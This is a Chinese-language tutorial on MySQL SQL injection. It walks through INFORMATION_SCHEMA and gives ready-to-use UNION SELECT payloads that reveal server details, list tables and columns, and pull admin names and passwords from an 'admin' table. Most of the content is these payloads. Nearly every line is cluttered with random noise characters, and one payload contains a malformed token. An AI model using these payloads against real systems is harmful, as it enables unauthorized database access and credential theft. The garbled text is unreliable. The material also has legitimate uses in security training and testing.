本文介绍MYSQL盲注的一些语句和方法
, [6 a0 `3 q2 o! T& ? O
0 k1 w2 b% Q: l$ F, _! m学习盲注前先了解下 IFORMATION_SCHEMA 库0 O3 ^6 p7 M0 `. b& Y
' w B) `6 e8 R' [, J, s/ \& kMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有, G0 Q/ x$ P; J( T
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。7 X8 F5 I* c! o" G2 e
1.得到所有数据库名:5 _! N& b2 O6 ?
|SCHEMATA ->存储数据库名的表
& ?! w0 [/ r+ }' o# \- O, v; J# p5 H|---字段:SCHEMA_NAME ->数据库名称/ Y1 Q3 R( T9 V) M# u
s* ^- i% h i k|TABLES ->存储表名
" [) @- ~6 [+ P8 H4 \7 M|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名1 w# r ~1 h; G& S! k
|---字段:TABLE_NAME ->存储表的表名
& G; U: _; a' I$ ?' }$ @
3 {( Q+ i" O6 G9 |, W8 f; s7 P|COLUMNS ->存储的字段名表
+ u% [( [2 E( Z0 k4 @|---字段:TABLE_SCHEMA ->该字段所属数据库名
4 A- Y$ z" T1 G. r% t|---字段:TABLE_NAME ->存储所属表的名称
/ q) C- R: v3 D0 s+ a) B* n+ k3 } i
|---字段:COLUMN_NAME ->该字段的名称
, P, i+ c. v# a& N
c2 p9 t9 f: C9 H6 K, I# K
% V* H$ l, j! Y% j5 p
1 ?+ B9 Z& L y. Q3 ^4 }% O# E###########################################################################
' q. a; s: Y/ M7 }/ e! F, u; x( D, X8 ~. [3 r4 {- R1 a
0x001 获取系统信息:, s" R1 O" m6 f M" \! r/ r
+ T7 t6 h4 |* u6 y
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*2 [+ K$ [0 J o
; l2 M# e/ K: i4 t/ q6 _8 Z
/*, p4 i& K$ g1 g$ `& M( R4 ]5 P
" B; y* e, D8 I& u; U@@global.version_compile_os 获取系统版本
$ D$ L Q$ n6 i2 w: ^: d X' A8 ?6 ] @
@@datadir 数据库路径
" U' s; y1 C; {- w% wdatabase() 当前数据库名称% b" R; P) W- ?* k& E* {
0x3c62723e 换行HEX值1 M! l. p1 }# Y8 m3 E. V
& A/ @7 Q$ V5 u' X
*/7 o6 }1 V# T |% s
# P+ F P S2 R2 D0 v. P6 P& f
% s* L. I- N0 c, ^4 x8 N! _' z, |, Z- U
######################################################################
- t i. }2 t% y- [4 k) D" g5 H7 t k! N) M
0x002 获取表名( B; o) b8 {& ]
0 t) r0 ~% [! F6 s/ L& v
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*8 e! {( A+ C- `$ m: w. t
3 m' z% ] ?3 x# x# O/ t
: Y+ \# U3 e3 K$ e# k6 `/ x/ D/ Y/ ~ T- b: y
/*+ m1 D( R: [- Q1 `9 N5 M
6 [, U9 Z1 Z: l
0x67617264656e 为当前数据库名6 A3 ]0 M' N# K2 y: Z
0 b) m6 w8 m) U5 H/ C |, `
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
9 s, W0 @; s6 o6 j
7 @5 {0 k" F1 P, }* K& l0 e6 Q _( P2 U*/9 }1 d% `. q4 i$ O) I3 _
& g3 M% P y& b0 _: A+ C- A+ f; | B######################################################################
! v7 o* f: p) `+ @8 E- W7 N
9 g) {% q+ g+ E: j1 w + O' H( s2 J- b9 J/ ?7 c9 ~+ z
" {8 s1 l# x1 H5 B
0x003 获取字段+ s7 E; w# K; k( s! n4 d: {8 m
7 D" M o( ?5 _7 x' d' F9 l4 aunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*" G! T" w5 c4 ^' a
6 e8 ?' G3 K4 ?
/*
0 s/ R+ u0 e) }! Y I/ C; a' k! k
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段* L9 B% e% ]. a0 d2 d! ]
5 d. d( L$ H" U+ ^$ J9 T0x61646d696e ->选择一个表
/ w/ V' O, ?3 H" B5 I) M5 J& d, H; j9 X# ~
0x67617264656e ->数据库名
2 V/ s5 W' y) L8 z2 I9 w# e. ~4 m2 D7 O$ q
*/$ V2 z( M' T* A) j( R
0 o6 R! R- i9 b0 G/ J9 d0 e8 ~
#####################################################################4 e6 g2 v% B9 g3 V& l+ e
7 t/ F% [4 k7 x
/ X- } [. c- m; D6 I. M$ `
1 k, h( ^5 j& i7 b5 ^/ u/ Q& c0x004 获取数据
( p4 _4 B" V6 z, r4 b
8 ?- @. W' Y4 H; eunion select 1,2,3
q4 D) P2 \6 g. q,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
8 u$ g8 G1 j/ g2 @, f/ _1 `- f2 N' y" P3 _9 x
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin' i. V1 a& H4 r3 K+ E
: l k* X1 D2 h0 H$ Z# |! ]% L; a
8 A0 D6 k+ B2 h1 a& E5 k( J* ?' e- y f& A* O0 {# G, p
/*
. ^" G0 d- ~$ q9 r; y8 M
6 J4 C+ j1 U( ?2 g& q5 F1 c0x3c62723e 换行符号HEX编码
& @3 z- {5 {" \5 V; z
9 _% q! W% y" O; hgroup_concat 同时获得该字段所有数据, R. F4 S2 F3 H: @' |
, T! d8 D* U, ^5 \& g8 d( J( H# L*/
: R' ?$ g& `2 P# V5 G; Q: s. w- [( a8 O1 I+ j. f( ]
|